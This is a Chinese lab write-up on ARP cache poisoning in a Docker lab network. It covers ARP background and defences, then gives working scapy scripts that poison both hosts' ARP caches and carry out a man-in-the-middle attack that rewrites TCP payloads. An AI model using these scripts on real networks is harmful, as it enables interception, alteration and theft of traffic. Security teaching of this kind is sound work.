参考资料：
TCP/IP Attacks – ARP Cache Poisoning Fundamentals Explained
ARP缓存中毒攻击

一、相关知识

1.什么是arp（地址解析协议）

ARP工作在OSI模型的第二层（数据链路层）和第三层（网络层）之间。

以下是ARP的基本工作流程：
1）ARP请求
当设备A需要向设备B发送数据时，它需要知道设备B的MA C地址。
设备A在其ARP缓存中查找设备B的IP地址是否已经对应了一个MAC地址。如果找不到，设备A会发送一个ARP请求。
ARP请求是一个广播消息，包含发送方的IP地址和MAC地址，以及目标设备的IP地址。
2）ARP响应
网络中的所有设备都会接收并检查这个ARP请求。只有目标设备（设备B）会进行响应。
设备B接收到ARP请求后，发送一个ARP响应，包含自己的MAC地址。
设备A接收到ARP响应后，将设备B的IP地址和MAC地址映射存储在其ARP缓存中。
3）数据传输
设备A现在有了设备B的MAC地址，可以通过数据链路层进行数据传输。

2.什么是免费arp

（1）简介

免费ARP（Gratuitous ARP）是一种特殊的ARP请求，设备发送这种请求并不是为了解析某个IP地址，而是为了主动通知网络中的其他设备关于自身的IP地址和MAC地址的映射。免费ARP消息中，源IP地址和目标IP地址都是发送设备的IP地址。以下是免费ARP的主要应用和工作原理。

（2）主要应用

1）IP地址冲突检测：
当设备启动并获取IP地址后，会发送一个免费ARP请求。
如果网络中存在另一台设备拥有相同的IP地址，该设备会响应此请求，从而检测到IP地址冲突。

2）ARP缓存更新：
当设备的MAC地址发生变化（例如，网卡更换或虚拟机迁移）时，发送免费ARP请求通知网络中的其他设备更新它们的ARP缓存。
这有助于保持网络中ARP缓存的最新状态，避免通信问题。

3）网络冗余和负载均衡：
在使用VRRP（虚拟路由器冗余协议）和HSRP（热备份路由协议）等协议时，主路由器发生切换后，会发送免费ARP请求通知网络中的设备更新ARP缓存，以指向新的主路由器。

（3）代码

from scapy.all import *

# 构建免费ARP请求包
gratuitous_arp = ARP(op=1, psrc="192.168.1.100", hwsrc="aa:bb:cc:dd:ee:ff", pdst="192.168.1.100")

# 发送免费ARP请求
send(gratuitous_arp, verbose=False)

3.什么是arp缓存中毒

（1）简介

ARP缓存中毒（ARP Cache Poisoning），也称为ARP欺骗（ARP Spoofing），是一种网络攻击技术，攻击者通过发送伪造的ARP（地址解析协议）消息到局域网（LAN），将其MAC地址与另一台合法计算机的IP地址相关联，从而导致网络数据包被错误地发送到攻击者的设备。

（2）过程

1）伪造ARP响应：攻击者向局域网中的其他设备发送伪造的ARP响应消息。这些伪造消息包含攻击者的MAC地址和被攻击者的IP地址。
2）更新ARP缓存：接收到伪造ARP响应的设备会更新其ARP缓存，错误地将攻击者的MAC地址与合法的IP地址相关联。
3）数据包重定向：由于设备的ARP缓存已被中毒，发送到受害者IP地址的数据包会被错误地发送到攻击者的设备。

（3）目的

1）中间人攻击（Man-in-the-Middle Attack）：攻击者可以截获、监视和修改在两个设备之间传输的数据。
2）拒绝服务（Denial of Service, DoS）：攻击者可以通过中毒多个设备的ARP缓存，导致网络中断。
3）网络嗅探（Network Sniffing）：攻击者可以捕获敏感信息，如用户名、密码、银行信息等。

（4）防御

1）静态ARP表：在设备上配置静态ARP映射，防止动态更新。
2）ARP检测工具：使用工具监控和检测ARP欺骗行为。
3）加密通信：使用加密协议保护敏感数据，防止被篡改和窃取。

二、arp缓存中毒 攻击过程

1.搭建网络

（1）网络拓扑

（2）搭建网络的代码

在 VM 上创建 docker 网络 extranet 
$ sudo docker network create --subnet=10.0.2.0/24 --gateway=10.0.2.8 --opt 
"com.docker.network.bridge.name"="docker1" extranet 
在 VM 上创建 docker 网络 intranet 
$ sudo docker network create --subnet=192.168.60.0/24 --gateway=192.168.60.1 --
opt "com.docker.network.bridge.name"="docker2" intranet 
在 VM 上新开一个终端，创建并运行容器 Server2
$sudo docker run -it --name=Server2 --hostname=Server2 --net=extranet --
ip=10.0.2.7 --privileged "seedubuntu" /bin/bash 
在 VM 上新开一个终端，创建并运行容器 HostA
$sudo docker run -it --name=HostA --hostname=HostA --net=intranet --
ip=192.168.60.2 --privileged "seedubuntu" /bin/bash 
在 VM 上新开一个终端，创建并运行容器 HostM
$sudo docker run -it --name=HostM --hostname=HostM --net=intranet --
ip=192.168.60.3 --privileged "seedubuntu" /bin/bash

2.查看ip对应的MAC

（1）docker2（192.168.60.1）的MAC

命令： ifconfig

结果：

HostB（192.168.60.1）的MAC为02:42:53:be:7a:36

（2）HostA和HostM的MAC

让HostA和HostM互相Ping，再用arp -a查看arp表：

HostA（192.168.60.2）的MAC为 02:42:c0:a8:3c:02

HostM（192.168.60.3）的MAC为 02:42:c0:a8:3c:03

3.arp缓存中毒攻击

（1）代码

在桌面建立一个arp_request.py文件：

from scapy.all import *
from time import *

# Machine A's informaton
IP_A = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"

# Machine B's informaton
IP_B = "192.168.60.1"
MAC_B = "02:42:53:be:7a:36"

# Attacker Machine's informaton
IP_M = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"


print("SENDING SPOOFED ARP REPLY.........")

# Construct spoofed ARP sent to machine A
ether1 = Ether()
ether1.dst = MAC_A
arp1 = ARP()
arp1.psrc = IP_B
arp1.hwsrc = MAC_M
arp1.pdst = IP_A
arp1.op = 1
frame1 = ether1/arp1

# Construct spoofed ARP sent to machine B
ether2 = Ether()
ether2.dst = MAC_B
arp2 = ARP()
arp2.psrc = IP_A
arp2.hwsrc = MAC_M
arp2.pdst = IP_B
arp2.op = 1
frame2 = ether2/arp2

while 1:
    sendp(frame1)
    sendp(frame2)
    sleep(5)

首先需要启动容器HostA和HostM：
sudo docker start HostA
sudo docker start HostM

将arp_request.py文件从主机移到HostM容器里：
sudo docker cp arp_request.py HostM:/

重新开一个终端，进入HostA，并ping192.168.60.1和192.168.60.3：
sudo docker exec -it HostA bin/bash
ping 192.168.60.1
ping 192.168.60.3

重新开一个终端，进入HostM，运行上述代码文件：
sudo docker exec -it HostM bin/bash
python3 arp_request.py

在HostA终端查看HostA的arp表：
arp -a
可以发现，HostB和HostM的MAC此时是一样的。

4.中间人攻击

（1）首先应该打开HostM的IP转发：sudo sysctl -w net.ipv4.ip_forward=1

（2）在HostA和HostB之间建立网络连接。
例如，可以使用netcat：
在HostB上启动监听：nc -l -p 12345
在HostA上连接HostB：nc 192.168.60.1 12345

（3）关闭HostM的IP转发
sudo sysctl -w net.ipv4.ip_forward=0

（4）HostM运行代码middle.py

#!/usr/bin/python
from scapy.all import *

VM_A_IP = "192.168.60.2"
VM_B_IP = "192.168.60.1"

MAC_A = "02:42:c0:a8:3c:02"
MAC_B = "02:42:53:be:7a:36"

def spoof_pkt(pkt):
    if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
        print("ARP Cache Poisoning Man-in-the-MiddleAttacking...")
        data = pkt[TCP].payload.load
        print("Original Packet.........")
        print("Source IP: ", pkt[IP].src)
        print("Destination IP: ", pkt[IP].dst)
        print("Message: ", data)
        print("Message Length: %d" % (len(data)))

        newpkt = IP(bytes(pkt[IP]))
        del (newpkt.chksum)
        del (newpkt[TCP].payload)
        del (newpkt[TCP].chksum)
        newdata = data.replace(b'123', b'456')
        newpkt = newpkt/newdata

        print("Spoofed Packet.........")
        print("Source IP : ", newpkt[IP].src)
        print("Destination IP :", newpkt[IP].dst)
        print("Message: ", newdata)
        print("Message Length: %d" % (len(newdata)))

        send(newpkt)

    elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
        print("The message is sent from host B to host A...")
        newpkt = pkt[IP]
        send(newpkt)


f = 'tcp and (ether src ' + MAC_A + ' or ' + \
    'ether src ' + MAC_B + ' )'
pkt = sniff(iface="eth0", filter=f, prn=spoof_pkt)

此时，A给B发送123，B收到的是456